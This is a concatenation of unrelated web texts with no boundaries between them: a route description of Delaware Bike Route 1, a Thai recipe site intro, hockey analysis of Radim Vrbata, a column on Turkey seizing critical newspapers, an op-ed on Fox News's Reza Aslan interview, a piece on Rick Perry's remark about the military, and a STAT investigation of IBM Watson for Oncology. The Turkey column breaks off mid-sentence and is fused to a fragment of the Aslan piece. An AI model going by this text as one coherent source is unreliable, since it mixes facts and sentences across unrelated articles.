From Bethany Beach, the bike route continues north on Delaware Route 1, passing through the Sussex Shores area before entering Delaware Seashore State Park, a state park located on an isthmus with the Atlantic Ocean to the east and the Rehoboth Bay and the Indian River Bay to the west. The state park stretches between Sussex Shores to the south and Dewey Beach to the north. Within the park, the bike route crosses the Indian River Inlet on the Indian River Inlet Bridge.
Bike Route 1 then proceeds into Dewey Beach, a beach that is well known as a party town. The route continues north on Delaware Route 1, skirting the popular beach resort of Rehoboth Beach to the west. The route passes by the Tanger Outlets Rehoboth Beach outlet mall and other commercial sprawl located on DE 1 outside of Rehoboth Beach.
In Midway, the bike route separates from Delaware Route 1 by heading south on Old Landing Road and west on Warrington Road. At the intersection of Delaware Route 24, the bike route continues straight on Plantation Road (Delaware Route 1D), passing through housing developments that have sprouted throughout the coastal areas of Delaware. The bike route follows Plantation Road to the Five Points intersection where it turns south on Delaware Route 23. The bike route follows DE 23 to the intersection with Dairy Farm Road, where it turns to the northwest to intersect with U.S. Route 9.
Bike Route 1 continues north of US 9 on Sweetbriar Road to Cave Neck Road, where it veers to the northwest on Cave Neck Road. The bike route enters a more rural, agricultural setting as it heads toward the historical shipbuilding town of Milton. Once the bike route reaches Milton, it heads north through the town on Union Street (Delaware Route 5). North of Milton, the route proceeds north on Cedar Creek Road.
The bike route follows Cedar Creek Road through the farmland of northeastern Sussex County, eventually merging with Delaware Route 30. The bike route follows DE 30 to Johnson Road, which it turns west on, passing through the community of Lincoln. The route follows Fitzgeralds Road west upon crossing U.S. Route 113. It then winds to the northwest on Rust Road and Union Church Road before reaching Abbotts Pond Road. It follows Abbotts Pond Road to the west, passing by the Abbotts Pond Nature Preserve.
Kent County [ edit ]
Bike Route 1 along DE 15 (Wyoming Mill Road) north of Wyoming
Bike Route 1 then crosses a branch of the Mispillion River into Kent County, where it heads to the community of Williamsville. In Williamsville, the bike route turns to the north onto Deep Grass Lane. The route passes through the town of Houston and then crosses Delaware Route 14, where it heads north on Killens Pond Road.
The bike route follows Killens Pond Road north toward Killens Pond State Park and then angles west, running along the north boundary of the park. This segment of the route features a bike path separate from the roadway, paralleling it to the south. The bike route follows this path to the intersection with U.S. Route 13. It then heads west on Reeves Crossing Road before turning north on Little Mastens Corner Road.
The route follows Little Mastens Corner Road to the town of Felton, where it follows Main Street (Delaware Route 12) east for a brief distance before turning north on Church Street, which becomes Turkey Point Road. It heads north on Turkey Point Road, paralleling a Delmarva Central Railroad line, and passes through Viola before reaching the town of Woodside. In Woodside, the route follows Main Street (Delaware Route 10 Alternate/Delaware Route 15) west to Dundee Road (Delaware Route 15) north.
Bike Route 1 follows Delaware Route 15 north through countryside before reaching the town of Wyoming, passing through the core of the town on Railroad Avenue West. The route remains with DE 15 north of Wyoming, following Wyoming Mill Road, which features designated shoulders for bicycles. The bike route meets the western outskirts of the Delaware state capital, Dover. It proceeds east on Hazlettville Road before heading north on Saulsbury Road (Delaware Route 15), which changes names to McKee Road at the intersection with Walker Road.[3]
It follows McKee Road north out of Dover and into the town of Cheswold. The route then heads to the north out of Cheswold on Moorton Road. The route loops to the west before turning north on Brenford Road and then veering to the northwest on Hillyard Road. Bike Route 1 then heads north on Wheatleys Pond Road (Delaware Route 300) toward the town of Clayton. In Clayton, the bike route heads west on School Lane and briefly west on Main Street (Delaware Route 6) before heading to the north on West Duck Creek Road (Delaware Route 15).
New Castle County [ edit ]
Bike Route 1 along DE 15 (Bunker Hill Road) in Middletown
The route enters New Castle County, heading north on Clayton Greenspring Road. It crosses a Delmarva Central Railroad line before resuming north on Blackbird Greenspring Road and it enters the Blackbird State Forest. It heads toward the community of Blackbird, passing to the east of Blackbird Pond, and heads to the west on Blackbird Station Road.
Bike Route 1 follows Blackbird Station Road west before heading northwest on Grears Corner Road and then to the northeast on Dexter Corner Road. The route then reaches the town of Townsend, passing through the town on Commerce Street and Railroad Avenue. It then heads to the northwest on Wiggins Mill Road, passing by Wiggins Mill Pond. The route then runs east on St. Annes Church Road to Delaware Route 71.
It then heads north on Delaware Route 71 into Middletown, running along South Broad Street. In the center of town, the route heads west on West Main Street (Delaware Route 299). At the intersection with Middletown Warwick Road, Bike Route 1 swings to the north on Bunker Hill Road (Delaware Route 15). It follows the DE 15 routing north to Summit Bridge, where the bike route crosses the Chesapeake & Delaware Canal on the Summit Bridge.
North of the Summit Bridge, the bike route follows Delaware Route 896 north to Howell School Road. It then turns east on Howell School Road, running along the northern boundary of Lums Pond State Park. The bike route then heads north on Woods Road and then east on Porter Road, entering a more suburban setting.
The bike route follows Porter Road east to Delaware Route 72, where Porter Road veers to the north, passing a railroad junction. It then crosses U.S. Route 40 where the bike route resumes to the north on Salem Church Road. Salem Church Road carries Bike Route 1 north across Interstate 95. It then turns east on Chapman Road for a brief distance before passing through the Sherwood Forest neighborhood on East Regal Boulevard and South Brownleaf Road. It then crosses Delaware Route 273 and proceeds through the Hillside Heights neighborhood on North Brownleaf Road. The bike route then heads north on South Harmony Road.
Bike Route 1 marker on the residential Middleton Drive in Mendenhall Village
Bike Route 1 follows Harmony Road across Delaware Route 4, where it also crosses the East Coast Greenway, and Amtrak's Northeast Corridor. It then heads west on Ruthar Drive, passing through an industrial park. The route heads north on Red Mill Road, which becomes Polly Drummond Hill Road at the intersection with the Capitol Trail (Delaware Route 2). The bike route then follows New Linden Hill to the northeast toward the Pike Creek area. It then turns to the north onto Skyline Drive and then crosses Delaware Route 7, proceeding to the northeast on Stoney Batter Road.
The bike route then winds north through residential neighborhoods on Middleton Drive and Village Drive. It then turns east on Mendenhall Mill Road before heading north on Mill Creek Road. It follows Mill Creek Road north, paralleling the Mill Creek, to Hockessin. The bike route heads off to the northeast of Hockessin on Yorklyn Road to the community of Yorklyn. In Yorklyn, the bike route turns south on Delaware Route 82, paralleling the Red Clay Creek and the Wilmington and Western Railroad tourist line and then heading east across the Hoopes Reservoir.
At the intersection with Delaware Route 52, the bike route continues to the east on Kirk Road. It then turns north on Delaware Route 100, passing by the Winterthur Museum, the former home of Henry Francis du Pont, and the Brandywine Creek State Park. Bike Route 1 follows DE 100 north to the Pennsylvania border. At the Pennsylvania border, it connects with BicyclePA Route L, which heads north through the state of Pennsylvania.Authentic Thai Recipes for Home-Style Cooking
Welcome to our Thai recipes section. Thai cuisine is adaptable, innovative and dynamic. The best Thai cooking uses the freshest ingredients available to create the unique Thai taste. This taste can be defined as the use of all 5 flavors: spicy, sweet, salty, bitter and sour. Only Thai cuisine brings out all of these flavors to play together harmoniously in a meal. Cooking Thai food should be sanook - fun! Cooking can be meditative, relaxing and enjoyable. Especially when the recipes are not complex and turn out tasty.
Get started with our home style Thai recipes for Pad Thai, Sticky Rice, Curry & Satay.
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About Thai Recipes
Most of the Thai recipes here are not elaborate but good useful everyday food that can be prepared with a reasonable expenditure of time and labor.
These recipes are mainly home-style i.e. not in the palace tradition. Written for Westerners working with limited time and using ingredients available in the United States (esp. if you use shop in our online Thai food market).
That said, the recipe should be a only a rough guideline. Thai recipes are highly adaptable. The characteristic flavors of Thai food come from the methods of cooking and ingredients used, not from precise quantities of the main seasonings. This means you should adapt the quantities, especially of things like fish sauce, garlic, and chilies, to suit your own tastes.
Like all great cuisines, the foods in season should be the most important factor to determine what to cook. If a certain ingredient is not available where you live, visit our online Thai food market, try a a substitute, or leave it out entirely. With imagination, experimentation, and knowledge, with constant tasting, you can cook delicious Thai food in the West.
Basic knowledge of the balance of the five flavors is key. There are many variations of any one Thai recipe, it depends on the cook, the season, the availability of ingredients, and the region.
Try a basic menu to get started.
Thai Cooking Tips
Also visit our Thai Cooking section to read our latest cooking articles.
Please enable JavaScript to view the commentsThere isn’t a more anonymous consistent 50 point scorer in the entire NHL than new Vancouver Canucks first liner Radim Vrbata.
Vrbata, who has out produced any number of more famous forwards over the past three years including Rick Nash, Mike Cammalleri, Scott Hartnell, T.J. Oshie, and Alexander Semin, has routinely led all Phoenix Arizona Coyotes forwards in scoring, and he’s done it seemingly without ever making a major headline. The Czech winger’s uncanny ability to hide in plain sight could prove a more useful skill in a rabid hockey marketplace like Vancouver, where the media’s glare can be paralyzing even when the demand for tickets is soft, than even Vrbata’s right-handed shot on the power play.
Entering training camp Vrbata’s story line – can the 33-year-old first line winger revitalize the Sedin twins offensively – is arguably the most critical question for a club that couldn’t buy a goal last season. Yet the attention was focused instead on Vancouver’s burgeoning youth movement, on Nick Bonino’s impossible task of replacing Ryan Kesler, on the possibility of a redemption season for Alex Edler, or on the three-way goaltending controversy…
So let’s give the anonymous Czech volume shooter some due attention on the other side of the jump.
When the topic of “players who have worked well with the twins” is broached, the first two players who come immediately to mind are Anson Carter and Alex Burrows. There’s a third player who had instant chemistry with the twins though: Mikael Samuelsson.
Signed as a free agent in the summer of 2009, Samuelsson logged just over 450 even-strength minutes alongside Henrik Sedin during his Canucks tenure. In those 450 minutes, which is roughly equivalent to a half season worth of even-strength time on ice for a top-line winger, Samuelsson scored 13 goals. For the sake of illustrating how impressive that is: only 9 players scored 26 even-strength goals during the 2013-14 season.
Aside from being European born right-handed shooters and being inexplicably left off their respective nation’s Olympic men’s ice hockey teams in recent years (Samuelsson was left off of Sweden’s 2010 team in favor of Matthias Weinhandl, while the 2014 Czech team took Petr Nedved’s corpse and left Vrbata in Arizona), Samuelsson and Vrbata don’t have a tonne in common. Samuelsson had about 20 pounds on Vrbata, and it showed in the velocity of his shot. Where Vrbata is understated and quiet on and off the ice, Samuelsson had a penchant for controversy and was often in the middle of post-whistle scrums.
The Samuelsson comparison is apt for Vrbata though because of a particular shared characteristic that goes well beyond personality and style.
There’s really only one thing that Vrbata has consistently done at an elite level in his NHL career: generate even-strength shots on goal at an astounding rate. Over the past three seasons, 113 NHL forwards have logged at least 2500 even-strength minutes and Vrbata ranks 12th in even-strength shot rate (amusingly, Henrik Sedin ranks dead last).
Vrbata’s prolific shooting is reminiscent of Samuelsson’s performance in the years before he joined the Canucks. In the two seasons from 2007 through 2009, 206 NHL forwards logged at least 1500 minutes, and Mikael Samuelsson ranked 5th among those forwards in even-strength shot rate.(*)
(*) It’s worth noting that in those two seasons, three of the top-five NHL players in this category played at least one full year with the Detroit Red Wings, so Samulesson’s number here is probably inflated somewhat by team effects.
For a variety of reasons, Samuelsson was a good fit with the twins offensively. He had excellent hands in traffic and scored a good number of goals off of deflections – Vrbata excels at this as well – and the twins were able to take advantage of his “shoot from anywhere” mentality and his hard right-handed shot. When Samuelsson skated with the twins at five-on-five, the Canucks produced 3.59 goals per sixty minutes of even-strength ice-time, which is a higher rate than the 3.32 goals per sixty rate the club has managed with Henrik on the ice at evens over the past five years.
Put simply: Samuelsson appears to have been more than just a passenger with the Sedin twins during his Canucks tenure – he actively made them more dangerous offensively. It’s also worth noting that the Canucks produced even-strength goals slightly more efficiently with Samuelsson than they did with their most common triggerman: Alex Burrows.
Though the twins are no longer in the prime of their careers, I wouldn’t be shocked were Vrbata to have a similar effect on the club’s even-strength goal scoring rate. Already in the preseason we’ve seen Vrbata’s “shoot first, ask questions later” mentality fit in nicely with the twins’ “pass the puck around forever” approach.
There’s also a “but” however, and as it was for Samuelsson, Vrbata’s particular “but” is Burrows. Though Samuelsson made the twins marginally more potent offensively, he was unable to permanently supplant Burrows on the top-line.
Samuelsson may not have liked it, but then Canucks coach Alain Vigneault’s preference for Burrows with the twins wasn’t irrational in the least. Samuelsson may have made the twins a more potent offensive line, but Burrows’ two-way abilities made the twins more formidable in every other aspect.
Let’s go with Henrik as a proxy for “the twins” here (as we usually do because he’s proven the more durable Sedin). Henrik logged just over 450 minutes of ice time with Samuelsson, and in those minutes the Canucks scored over 3.5 goals/60 while attempting 66 shots per 60 minutes of even-strength ice-time. As we’ve mentioned, those rates are both better than what the twins have managed with Burrows in over 3000 even-strength minutes together over the past five seasons (3.37 goals/60, 62 shot attempts/60).
Burrows’ impact on the twins isn’t in the offensive end though – it’s in Vancouver’s. In comparison with Samuelsson, when Burrows has ridden shotgun with the Sedins, the Canucks have allowed a full goal against fewer per sixty minutes while also permitting 3 fewer shot attempts per 60. So though the Canucks weren’t scoring or generating offense as efficiently when Burrows skated with the twins as they were when Samuelsson was, they were outscoring their opponents by a wider margin.
Though Vrbata is now slouch defensively, his impact on his most regular line-mates appears to be principally in the offensive end(*).
(*) All 16 players Vrbata has logged at least 200 minutes with over the past three years generated more shot attempts with Vrbata than without him, 15 of 16 manufactured goals at a higher rate and the exception is Zybnek Michalek whose “without” you minutes were spent with Sidney Crosby and Evgeni Malkin in Pittsburgh. Vrbata has been really, really good for a long time.
Maybe at this stage of their careers the twins need a guy like Vrbata, who can drive offense on his own a bit, more than they need a player like Burrows, who makes them a more imposing defensive line. As a result perhaps Vrbata will stick with the twins where Samuelsson never could. Or maybe Burrows’ Chris Kunitz-like impact on the Sedins will prove too persistent and too valuable for Willie Desjardins to pass up this season.
[Stats in this piece compiled from stats.hockeyanalysis.com]When the state steals newspapers What happened in Turkey on Oct. 28 is something that should enter the Guinness Book of World Records, if it ever includes a chapter on “authoritarianism.” Two newspapers and two news channels, all very critical of the government, were taken over by government-appointed “trustees.” In less polite terms, they were practically stolen by the state.
If you haven’t seen the news, here is a summary of what happened: The media in question - dailies Bugün and Millet and TV channels KanalTürk and BugünTV - are owned by Koza İpek Holding. It was no secret that the holding’s boss, Akın İpek, has been a follower of Fethullah Gülen and a financial supporter of the Gülen Movement. Since this movement turned from President Recep Tayyip Erdoğan’s best ally to worst enemy, every institution affiliated with it has been under legal scrutiny. Koza İpek Holding faced an investigation, too. But nothing yet has been found that is illicit.
Yet still, a famous judge (who had become famous last year by banning Twitter, at the behest of the government) took a fateful decision last Monday. He referred to an article in the penal code which says that a “trustee” can be appointed to a company if necessary to reveal any evidence, while the company goes through an investigation. He also |
have started laughing a third of the way through the question.
I don't know if this interview is the "single single most cringe-worthy, embarrassing interview broadcast on Fox News. At least in recent memory", as Slate's Daniel Politi described it. But it's certainly a world-class exemplar of why trying to wing an ambush interview with a guest who has "a PhD and four graduate degrees" and knows Biblical Greek to boot (as Aslan felt he had to inform her numerous times), is probably not the smartest strategy to adopt.
Defending academia
While social media is abuzz with the evidence of the raging Islamophobia the interview represented, I think the antagonistic line of questioning from the host is more revealing about the innate hostility towards scholarship by Fox, its host and, at least until yesterday, its audience. Aslan agreed when I spoke to him yesterday morning, in between a barrage of last-minute interviews that have come his way thanks to the suddenly viral clip.
"I want to emphasize that not at all have I had overwhelming positive response, particularly from Christians - even from conservative and Evangelical Christians, who have called or emailed to tell me this wasn't how most Christians think. The negativity is almost exclusively from the same folks attacking me for ten years, the denizens of the Islamophobia industry.
"To be honest, I felt I had to defend academia more than defend the right of Muslims to study Jesus," he continued. "I work in a field that where Jews, Christians, Muslims, Hindus and others all study religions without their own faith being an issue."
By attacking his right as a Muslim to write about Jesus, Green and arch-anti-Muslim commentators like Pamela Geller (who's called the mild-mannered Aslan a "vicious... jihadi operative") and John Dickerson (whose foxnews.com column, which likely provided the fodder for the interview questions, was devoted entirely to declaring that Aslan argued he's a scholar of religion without telling people he's also a Muslim, as if the two are mutually contradictory, or even related) are doing far more than simply attacking Islam. They are trying to stop historically grounded discussions about Jesus's life and highly progressive messages on social justice-related issues - messages which, needless to say, are almost entirely at odds with the conservative American Christianity that dominates Fox and the Republican Party.
The rise of progressive populism
Not surprisingly, Aslan took pains to point out that he's never hid his religious affiliation and indeed discussed its role in his "twenty year obsession" with Jesus on page two of the book. But there is a long history of the Islamophobia community making demonstrably wrong accusations and continuing to make them long after the've been challenged on it (my most amusing experience was being labelled a "rock musician and a Marxist" by David Horowitz based on supposedly reading a book of mine that hadn't even been published when he determined my political affiliation).
Ironically, some scholars have called into question Aslan's credentials, or at least his representation of them, in a manner that, on the surface, is not that different from the critiques on Fox. But arguing that someone with a PhD in the sociology of religion shouldn't be calling himself a historian - a disciplinary hairsplitting that is increasingly at odds with the interdisiplinary reality of contemporary methodologies - is a very diffferent thing than arguing that a scholar's faith prevents him from looking objectively at another religion (one of the most ludicrous arguments imaginable coming from Fox News, with its legion of overtly hostile non-Muslim "experts" on Islam).
Ultimately, what's involved in the attack on Aslan's book represented by the Fox interview, however, is something much more telling than mere Islamophobia. Rather, it's an attempt by conservative Christian commentators deeply tied to the corporate elite to stifle any attempts to reapproach the founding acts of their faith from a progressive perspective at a moment when an unprecedented number of Americans have, or will at some point, live near or below the poverty line - eighty percent of Americans, according to a just released study by the Associated Press.
Whatever one thinks of Aslan's arguments, there is no evidence that his attempt to historicise Jesus is based on Islam.
In such an economic situation, the potential grows tremendously for the rise of a kind of progressive populism that Thomas Frank's work has shown to be once common across the United States. And few ideologies and historical narratives are more suited to such politics than a vision of Jesus steeped in his "zealous" focus on the poor and the powerless. "What would Jesus drive/do/bomb/buy" suddenly becomes a powerful clarion call to activism when over two hundred million Americans have lived close to or in poverty.
Needless to say, conservative Christians are not alone in the attempts to silence anyone who challenges their muscular and chauvinistic vision of the founder or central figure(s) of their faith. The Catholic Church devoted incredible energy to silencing Liberation Theology for the same reason a generation ago; more recently the marriage between the authoritarian and corrupt political and religious systems in countries as diverse as Russia and Israel follow a similar script, while across the Muslim world scholars or others attempting to historicise the life and message of Muhammad - especially in a way that challenges entrenched economic interests - have been ostracised and even murdered for attempting to do so. All the while the leaders of these systems declare that they represent the very faith and people they continually betray.
In the present case, so far removed are people like Dickerson from what Republicans have long derisively referred to as the "reality-based community" that they imagine their inability to separate faith from the question of historical accuracy to be universally shared. Instead, everyone has to "have a horse in this race", as he accused Aslan of having. "He is not an objective observer, but, to use his own word, a zealot, with religious motivation to destroy what Western culture has believed about its central figure for hundreds of years."
Whatever one thinks of Aslan's arguments, there is no evidence that his attempt to historicise Jesus is based on Islam; in fact, the very idea is ludicrous since conservative Muslim theologians are no less antagonistic to placing their history - which includes Jesus and accepts events like the virgin birth, which Aslan critiques - before the microscope of secular humanistic criticism.
Fox host Green was unable to dig very deep into Aslan's arguments during her interview precisely because she couldn't get past his faith background and the attempt to argue he was hiding something that is so clearly out in the open. Dickerson gets a bit closer to the truth when he argues that "in many ways, this conflict is larger than Christianity and Islam".
He couldn't be more right. But for very different reasons than Aslan's conservative Christian critics believe.
Mark LeVine is professor of Middle Eastern history at UC Irvine and distinguished visiting professor at the Centre for Middle Eastern Studies at Lund University in Sweden and the author of the forthcoming book about the revolutions in the Arab world, The Five Year Old Who Toppled a Pharaoh. His book, Heavy Metal Islam, which focused on 'rock and resistance and the struggle for soul' in the evolving music scene of the Middle East and North Africa, was published in 2008.
Follow him on Twitter: @culturejammingLooking for news you can trust?
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While speaking at a military tribute Sunday in Waterloo, Iowa, Texas governor and GOP presidential candidate Rick Perry tossed the crowd a red-meat ad-lib. Here’s what he said, according to Politico‘s Ben Smith:
“One of the reasons that I’m running for president is I want to make sure that every young man and woman who puts on the uniform of the United States respects highly the president of the United States,” he said.
The obvious implication is that America’s roughly 3 million active-duty and reserve soldiers, sailors, airmen and Marines don’t respect President Barack Obama—whose administration drew down their numbers in Iraq and Afghanistan, revamped the Department of Veterans Affairs, increased Pentagon funding, and oversaw the operation that killed Osama bin Laden. Is Perry for real?
Yes and no. If by “respect” you mean pure approval ratings, Barack Obama began his tenure with real support among the ranks, particularly enlisted servicemembers. (Working on Camp Victory, the US-led coalition headquarters in Baghdad, I encountered a real sense of pride and optimism among the majority of soldiers during Obama’s inauguration and first Iraq visit—a sense that was absent in the military when I served in the Clinton era.) But his approval numbers have fallen off among vets, just as they have among the general public. In late May, 37 percent of service members polled by Gallup approved of Obama’s policies.
Does that make Obama especially unpopular with service members? Hardly: In 2007, when the Iraq War had bogged down, military members and their relatives registered the exact same approval numbers for George Bush. In fact, 60 percent disapproved of Bush, and 7 out of 10 wanted a near-immediate withdrawal from Iraq. (It’s also worth noting that, despite major gains by women and minorities in recent years, the military is overwhelmingly white, male, and Protestant, a demographic that never polls well for Obama.)
But Perry’s “respect” jibe isn’t about the facts: It’s about painting a beleaguered president as effeminate and indecisive. The Republican Party has long claimed both the mantle of national security and manliness; since at least the Clinton administration, its partisans have attempted to paint their Democratic counterparts as impotent and illegitimate in the eyes of serving veterans, who are quaintly presumed to be the country’s masculine conscience. From spreading false rumors about Marines dissing Bill Clinton to the Bush administration’s “Mission Accomplished” and numerous “military behind the president” stage shows, the GOP has tried to convey a singular message: America’s Heroes© are with us, so if you like America and Heroes©, you should be, too.
Will it work in 2012? It will certainly energize an already-motivated birth-certificate, Osama-is-alive conservative base. But beyond that, Perry’s trading on his military experience, his tough demeanor, and the fact that he looks much younger than the embattled commander in chief—even though he’s a decade older. All of these factors could play well with a US electorate looking for decisiveness from Washington. Unless the current administration is willing to go on the offensive and trumpet its own national security achievements—which are not inconsiderable—Obama may not stand a fighting chance.Ben Hilder/Getty It was an audacious undertaking, even for one of the most storied American companies: With a single machine, IBM would tackle humanity's most vexing diseases and revolutionize medicine.
Breathlessly promoting its signature brand — Watson — IBM sought to capture the world's imagination, and it quickly zeroed in on a high-profile target: cancer.
But three years after IBM began selling Watson to recommend the best cancer treatments to doctors around the world, a STAT investigation has found that the supercomputer isn't living up to the lofty expectations IBM created for it.
It is still struggling with the basic step of learning about different forms of cancer.
It is still struggling with the basic step of learning about different forms of cancer.
Only a few dozen hospitals have adopted the system, which is a long way from IBM's goal of establishing dominance in a multibillion-dollar market. And at foreign hospitals, physicians complained its advice is biased toward American patients and methods of care.
STAT examined Watson for Oncology's use, marketing, and performance in hospitals across the world, from South Korea to Slovakia to South Florida. Reporters interviewed dozens of doctors, IBM executives, artificial intelligence experts, and others familiar with the system's underlying technology and rollout.
The interviews suggest that IBM, in its rush to bolster flagging revenue, unleashed a product without fully assessing the challenges of deploying it in hospitals globally. While it has emphatically marketed Watson for cancer care, IBM hasn't published any scientific papers demonstrating how the technology affects physicians and patients. As a result, its flaws are getting exposed on the front lines of care by doctors and researchers who say that the system, while promising in some respects, remains undeveloped.
"Watson for Oncology is in their toddler stage, and we have to wait and actively engage, hopefully to help them grow healthy," said Dr. Taewoo Kang, a South Korean cancer specialist who has used the product.
At its heart, Watson for Oncology uses the cloud-based supercomputer to digest massive amounts of data — from doctor's notes to medical studies to clinical guidelines. But its treatment recommendations are not based on its own insights from these data. Instead, they are based exclusively on training by human overseers, who laboriously feed Watson information about how patients with specific characteristics should be treated.
IBM executives acknowledged Watson for Oncology, which has been in development for nearly six years, is in its infancy. But they said it is improving rapidly, noting that by year's end, the system will offer guidance about treatment for 12 cancers that account for 80 percent of the world's cases. They said it's saving doctors time and ensuring that patients get top-quality care.
Late actress Carrie Fisher starred in a commercial for IBM's Watson. IBM "We're seeing stories come in where patients are saying, 'It gave me peace of mind,'" Watson Health general manager Deborah DiSanzo said. "That makes us feel extraordinarily good that what we're doing is going to make a difference for patients and their physicians."
But contrary to IBM's depiction of Watson as a digital prodigy, the supercomputer's abilities are limited.
Perhaps the most stunning overreach is in the company's claim that Watson for Oncology, through artificial intelligence, can sift through reams of data to generate new insights and identify, as an IBM sales rep put it, "even new approaches" to cancer care. STAT found that the system doesn't create new knowledge and is artificially intelligent only in the most rudimentary sense of the term.
While Watson became a household name by winning the TV game show "Jeopardy!", its programming is akin to a different game-playing machine: the Mechanical Turk, a chess-playing robot of the 1700s, which dazzled audiences but hid a secret — a human operator shielded inside.
In the case of Watson for Oncology, those human operators are a couple dozen physicians at a single, though highly respected, U.S. hospital: Memorial Sloan Kettering Cancer Center in New York. Doctors there are empowered to input their own recommendations into Watson, even when the evidence supporting those recommendations is thin.
The actual capabilities of Watson for Oncology are not well-understood by the public, and even by some of the hospitals that use it. It's taken nearly six years of painstaking work by data engineers and doctors to train Watson in just seven types of cancer, and keep the system updated with the latest knowledge.
It's taken nearly six years of painstaking work by data engineers and doctors to train Watson in just seven types of cancer.
"It's been a struggle to update, I'll be honest," said Dr. Mark Kris, Memorial Sloan Kettering's lead Watson trainer.
He noted that treatment guidelines for every metastatic lung cancer patient worldwide recently changed in the course of one week after a research presentation at a cancer conference.
"Changing the system of cognitive computing doesn't turn around on a dime like that," he said. "You have to put in the literature, you have to put in cases."
Watson grew out of an effort to transform IBM from an old-guard hardware company to one that operates in the cloud and along the cutting edge of artificial intelligence.
Despite its use in an array of industries — from banking to manufacturing — it has failed to end a streak of 21 consecutive quarters of declining revenue at IBM. In the most recent quarter, revenue even slid from the same period last year in IBM's cognitive solutions division — which is built around Watson and is supposed to be the future of its business.
In response to STAT's questions, IBM said Watson, in health care and otherwise, remains on an upward trajectory and "is already an important part" of its $20 billion analytics business.
Health care is a crucial part of the Watson enterprise. IBM employs 7,000 people in its Watson health division and sees the industry as a $200 billion market over the next several years. Only financial services, at $300 billion, is considered a bigger opportunity by the company.
Breast cancer. Wikimedia Commons At stake in the supercomputer's performance is not just the fortunes of a famed global company. In the world of medicine, Watson is also something of a digital canary — the most visible attempt to use artificial intelligence to identify the best ways to prevent and treat disease.
The system's larger goal, IBM executives say, is to democratize medical knowledge so that every patient, no matter the person's geography or income level, will be able to access the best care.
The system's larger goal, IBM executives say, is to democratize medical knowledge.
But in cancer treatment, the pursuit of that utopian ideal has faltered.
STAT's investigation focused on Watson for Oncology because that product is the furthest along in clinical care, though Watson sells separate packages to analyze genomic information and match patients to clinical trials. It's also applying Watson to other tasks, including honing preventive medicine practices and reading medical images.
Doctors' reliance on Watson for Oncology varies among hospitals. While institutions with fewer specialists lean more heavily on its recommendations, others relegate the system to a background role, like a paralegal whose main skill is researching existing knowledge.
Hospitals pay a per-patient fee for Watson for Oncology and other products enabled by the supercomputer. The amount depends on the number of products a hospital buys, and ranges between $200 and $1,000 per patient, according to DiSanzo. The system sometimes comes with consulting costs and is expensive to link with electronic medical records. At hospitals that don't link it with their medical records, more time must be spent typing in patient information.
Jacky Naegelen/Reuters At Jupiter Medical Center in Florida, that task falls to nurse Jean Thompson, who spends about 90 minutes a week feeding data into the machine. Once she has completed that work, she clicks the "Ask Watson" button to get the supercomputer's advice for treating patients.
On a recent morning, the results for a 73-year-old lung cancer patient were underwhelming: Watson recommended a chemotherapy regimen the oncologists had already flagged.
"It's fine," Dr. Sujal Shah, a medical oncologist, said of Watson's treatment suggestion while discussing the case with colleagues.
He said later that the background information Watson provided, including medical journal articles, was helpful, giving him more confidence that using a specific chemotherapy was a sound idea. But the system did not directly help him make that decision, nor did it tell him anything he didn't already know.
Jupiter is one of two U.S. hospitals that have adopted Watson for Oncology. The system has generated more business in India and Southeast Asia. Many doctors in those countries said Watson is saving time and helping more patients get quality care. But they also said its accuracy and overall value is limited by differing medical practices and economic circumstances.
Despite IBM's marketing blitz, with years of high-profile Watson commercials featuring celebrities from Serena Williams to Bob Dylan to Jon Hamm, the company's executives are not always gushing.
In interviews with STAT, they acknowledged the system faces challenges and needs better integration with electronic medical records and more data on real patients to find patterns and suggest cutting-edge treatments.
A commercial for IBM Watson/H&R Block featuring Jon Hamm. Screenshot/YouTube "The goal as Watson gets smarter is for it to make some of those recommendations in a more automated way, to sort of suggest now may be the time and let us flip the switch" when a promising treatment option emerges, said Dr. Andrew Norden, a former IBM deputy health chief who left the company in early August. "As I describe it, you're probably getting a sense it's really hard and nuanced."
Such nuance is absent from the careful narrative IBM has constructed to sell Watson.
Nuance is absent from the careful narrative IBM has constructed to sell Watson.
It is by design that there is not one independent, third-party study that examines whether Watson for Oncology can deliver. IBM has not exposed the product to critical review by outside scientists or conducted clinical trials to assess its effectiveness.
While it's not unheard of for companies to avoid external vetting early on, IBM's circumstances are unusual because Watson for Oncology is not in development — it has already been deployed around the world.
Yoon Sup Choi, a South Korean venture capitalist and researcher who wrote a book about artificial intelligence in health care, said IBM isn't required by regulatory agencies to do a clinical trial in South Korea or America before selling the system to hospitals. And given that hospitals are already using the system, a clinical trial would be unlikely to improve business prospects.
"It's too risky, right?" Choi said. "If the result of the clinical trial is not very good — [if] there's a marginal clinical benefit from Watson — it's really bad news to the whole IBM."
Pilar Ossorio, a professor of law and bioethics at University of Wisconsin Law School, said Watson should be subject to tighter regulation because of its role in treating patients. "As an ethical matter, and as a scientific matter, you should have to prove that there's safety and efficacy before you can just go do this," she said.
MD Anderson Cancer Center. Wikimedia Commons Norden dismissed the suggestion IBM should have been required to conduct a clinical trial before commercializing Watson, noting that many practices in medicine are widely accepted even though they aren't supported by a randomized controlled trial.
"Has there ever been a randomized trial of parachutes for paratroopers?" Norden asked. "And the answer is, of course not, because there is a very strong intuitive value proposition. … So I believe that bringing the best information to bear on medical decision making is a no-brainer."
IBM said in its statement that it has collaborated with the research community and presented data on Watson at industry gatherings and in peer-reviewed journals. Some doctors said they didn't need to see more research to know that the system is valuable. "Artificial intelligence will be adopted in all medical fields in the future," said Dr. Uhn Lee, who runs the Watson program at Gachon University Gil Medical Center in South Korea. "If that trend, that change is inevitable, then why don't we just start early?"
So far, the only studies about Watson for Oncology are conference abstracts. The full results haven't been published in peer-reviewed journals — and every study, save one, was either conducted by a paying customer or included IBM staff on the author list, or both. Most trumpet positive results, showing that Watson saves doctors time and has a high concordance rate with their treatment recommendations.
The "concordance" studies comprise the vast majority of the public research on Watson for Oncology. Doctors will ask Watson for its advice for treating a slew of patients, and then compare its recommendations to those of oncologists. In an unpublished study from Denmark, the rate of agreement was about 33 percent — so the hospital decided not to buy the system. In other countries, the rate can be as high as 96 percent for some cancers. But showing that Watson agrees with the doctors proves only that it is competent in applying existing methods of care, not that it can improve them.
IBM executives said they are pursuing studies to examine the impact on doctors and patients, although none has been completed to date.
IBM executives said they are pursuing studies to examine the impact on doctors and patients, although none has been completed to date.
Questions about Watson have begun spilling into public view, including in a recent Gizmodo story headlined "Why Everyone is Hating on IBM Watson — Including the People Who Helped Make It."
The most prominent failure occurred last February when MD Anderson Cancer Center, part of the University of Texas, cancelled its partnership with Watson.
The MD Anderson alliance was essentially the early face of Watson in health care.
